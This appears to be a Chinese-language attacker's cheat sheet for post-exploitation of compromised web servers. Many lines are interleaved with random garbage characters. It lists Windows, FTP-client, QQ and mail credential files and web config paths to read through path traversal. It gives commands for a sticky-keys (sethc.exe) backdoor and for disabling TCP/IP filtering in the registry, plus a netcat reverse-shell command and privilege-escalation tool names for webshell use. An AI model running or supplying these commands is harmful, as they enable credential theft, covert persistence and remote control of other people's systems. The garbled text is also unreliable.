- F( \+ }. ]/ R! k# G! t9 nC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
! `6 I* C5 J  n0 L$ Y3 g) Xc:\program files\CMailServer\config.ini
: r3 ]$ G% ^; i  j3 ], t7 \8 `c:\tomcat6\tomcat6\bin\version.sh
& K) O) Q: ^0 z3 U- b% G. k3 B/ ec:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
2 e& K% l* Q  n% Lc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
  I9 M1 L4 x% k: N* a: H) o0 Dc:\Apache2\Apache2\bin\Apache.exe
$ }7 W3 F4 x4 ~7 r; ~c:\Apache2\bin\Apache.exe
" w5 l& u1 G9 Z  A$ d# z1 cc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
+ x8 A6 I, ^# C( ^! s/usr/local/tomcat5527/bin/version.sh
0 i) B% C( n9 n/usr/share/tomcat6/bin/startup.sh
5 F3 j( T, x6 i$ R1 p; s/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
: m2 H7 D2 z! o* _c:\Program Files\Tencent\qq\User.db
8 ^7 I/ x: O- Y$ r" @c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
) F1 Z7 |0 a% v6 Tc:\Program Files\Tencent\qq2009\qq.exe
  L0 w9 J+ q8 }+ G( v1 }c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
# Y( q- _( ]4 _8 [( w5 jC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
4 g8 U0 u, g& Z2 @c:\Program Files\Tencent\RTXServer\AppConfig.xml
3 W8 s- ~9 @: Y9 CC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
7 H7 \& M9 B% W! S1 T0 ^! Sc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
3 o4 C3 W. L% z3 \7 LC:\Program Files\FlashFXP\flashfxp.exe
3 Y  W: V  M. `- y7 nc:\Program Files\Oracle\bin\regsvr32.exe
; {' K' q6 @2 c: z7 G7 k! Hc:\Program Files\腾讯游戏\QQGAME\readme.txt
4 ]( _& R1 h& n' R& Q1 ?6 d& ]c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
1 ^% r9 _6 J2 L% Z* |" r0 Hc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
0 H$ W# _. F0 Y% A5 H; O; f+ s/ A
3.网站相对路径:
# t4 _2 H* \" V% h, [& N1 G: k5 Y* A
/config.php
8 R7 @3 P6 u, i! J0 N9 M: X& i../../config.php
../config.php
: q+ M+ a  b8 M" {5 a5 J../../../config.php
/config.inc.php
- F4 O+ }, W8 k0 n2 W7 K" \./config.inc.php
../../config.inc.php
" m: N# e9 }) e( v../config.inc.php
../../../config.inc.php
6 @! y. i; @% v/conn.php
! M; k- Q( \) w' l" ~# l$ L./conn.php
../../conn.php
../conn.php
* ]6 t3 b6 H- A5 V# a../../../conn.php
/conn.asp
& ~+ N, U/ n; y9 b. ?) v4 Q  h  K./conn.asp
../../conn.asp
& W( k: ~/ [' ?' l../conn.asp
6 v$ Q. r0 ]; F4 n; p3 f../../../conn.asp
! a- i6 r( S5 z5 C/config.inc.php
( }+ \; O0 P8 z3 t./config.inc.php
3 E( @, {' [, P( u/ c! w../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
/ D. r% O# D  W../../config/config.php
../config/config.php
../../../config/config.php
& U% J& {+ s7 a4 }+ I9 _/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
5 ]1 V/ k8 S/ j# Z/ F" S! I& n../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
9 E6 w% }  E- g../../../config/conn.php
2 s+ a" @9 u3 {* j* L/config/conn.asp
% r5 T1 r# k) L5 e; l$ K. W./config/conn.asp
7 L8 ~8 `6 z' }! N( m../../config/conn.asp
../config/conn.asp
) s% ]9 g) [9 e../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
6 u* ?, ?2 \8 }1 ^../data/config.php
3 r; P# q5 ~5 s' ^* W- m+ Z) w4 Z../../../data/config.php
/data/config.inc.php
% x9 M. \9 ^! [$ ^0 m- o8 h./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
( V/ ]5 h! w" z/ K( x../../../data/config.inc.php
! Q8 q9 W1 s' F- m/data/conn.php
./data/conn.php
../../data/conn.php
5 d$ t) n8 m/ W) w4 H' |* R- f../data/conn.php
../../../data/conn.php
3 ?$ X. M+ h, R7 u" @2 o/data/conn.asp
./data/conn.asp
../../data/conn.asp
/ n6 M4 ]2 B6 C8 j( E- [../data/conn.asp
- u9 G0 u% X& a1 \, G" d! O../../../data/conn.asp
) Z) N& K* k, {! [5 a/data/config.inc.php
7 s3 J% m; c$ K% G# w3 P4 f./data/config.inc.php
- h2 w6 x* ~! b" x8 A1 o# G../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
  Y5 V3 |! [/ a/include/config.php
../../include/config.php
/ j1 h- S# D- m+ ]2 V8 ^../include/config.php
- s/ u6 O/ \. G# W3 I5 t../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
. y" A% M8 k  U../../../include/config.inc.php
2 @+ k$ u% v- L4 g! |( \8 R# v/include/conn.php
' F9 X6 K4 O* i4 {4 D1 l./include/conn.php
2 C% p, J7 _2 c- Q6 m../../include/conn.php
, X$ M3 x# h/ \" e' N../include/conn.php
../../../include/conn.php
9 q6 w& F, N& p: y3 ?/include/conn.asp
./include/conn.asp
../../include/conn.asp
" c+ T6 P4 I& A) W2 |" A+ A+ Z../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
' C8 K9 g6 q3 U' B6 ?./include/config.inc.php
../../include/config.inc.php
/ ?& I0 ]( `! A3 v! w9 q../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
+ K6 D, t% J' B2 q( l: ]  P# ^7 O../../inc/config.php
../inc/config.php
../../../inc/config.php
7 J% u8 t3 B, G6 v: P2 R7 G/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
% s4 u: l! L2 Y( t1 P# h. d../../../inc/config.inc.php
/inc/conn.php
$ i- r! J9 ]* x. r9 Q9 f( L./inc/conn.php
( D& a7 m: i% e$ T7 R../../inc/conn.php
../inc/conn.php
3 I- @$ k/ X* L../../../inc/conn.php
$ R( n! X4 Z5 `% H8 b/inc/conn.asp
./inc/conn.asp
( q( P0 [/ N$ {9 U+ `6 D# b4 Z4 k../../inc/conn.asp
7 M# u2 C% P# Z2 c* J5 j../inc/conn.asp
3 s( d" `8 [& h../../../inc/conn.asp
/inc/config.inc.php
+ b# Y3 g" u; [' t6 z6 E9 O2 N./inc/config.inc.php
../../inc/config.inc.php
9 i  o. x( @1 H  @../inc/config.inc.php
../../../inc/config.inc.php
& C' d( n6 ^. R5 {# ]! O3 A/index.php
./index.php
../../index.php
../index.php
) i; \0 a/ c+ [% c+ h6 y9 R../../../index.php
1 Z! B! h5 ^- R7 L4 O: {/index.asp
./index.asp
/ r2 s5 U. f9 v$ Z$ v$ k& W4 j../../index.asp
../index.asp
) M! F8 v0 R2 ~$ p  ~5 R../../../index.asp
: o, q$ C7 R% g: b替换SHIFT后门
$ R* f1 x, b; R- N! d" [　attrib c:\windows\system32\sethc.exe -h -r -s
) k1 E3 z$ ?+ T6 y* h
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
7 l( b1 a% E' m; Q( E& T! b9 \. Z* h
+ {, R+ y7 G5 J+ S  R! ^+ l　　del c:\windows\system32\sethc.exe
4 @- z" c! A: J( |/ |! Y# ^
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
6 x* m; h4 v& o8 o8 V& g6 |
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
& s+ x$ |4 T9 a: v
( d  b9 P* V/ p1 @. b* X% Q' n　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
. p& Y2 G: i; Z& dTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
. q, F8 i! k- E0 ]5 N" YHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
- K5 q1 f; }, k+ E; IHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" w$ P/ i4 c$ j$ }. g$ M, v. A
分别用
, q. |: c- h& R  mregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) e. z2 D4 f: @0 tregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
9 |, m6 T& A8 I: h
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
6 P, _0 O; ]7 R7 w' B2 l% O
再将以上三个文件分别用
regedit -s D:\a.reg
# [7 X1 w6 F5 |* F9 N4 @; G9 wregedit -s D:\b.reg
& w& n  J: \+ |4 V2 Uregedit -s D:\c.reg
  ?& ^5 E( z6 L导入注册表即可
/ d9 Y+ E2 l8 e, t
5 F, e8 F/ Y' {3 M3 n% S% M4 gwebshell提权小技巧
# Z! P9 k- s/ I9 a* L, f3 qcmd路径:
: N* p& p  G, \) L) n1 {c:\windows\temp\cmd.exe
& t1 }- h4 d, o. p, [) I+ ?( gnc也在同目录下
! I1 g2 j9 o4 P- z7 q/ j+ A) j例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
; }" P; _3 y  e* A; u通常都不会成功。
# f- d/ Z# ?* R3 \0 G6 ]
" Q- k! G/ S/ C- d而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
3 t! X/ a/ z: Z却能成功。。
: g: c- s6 |" w! M这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功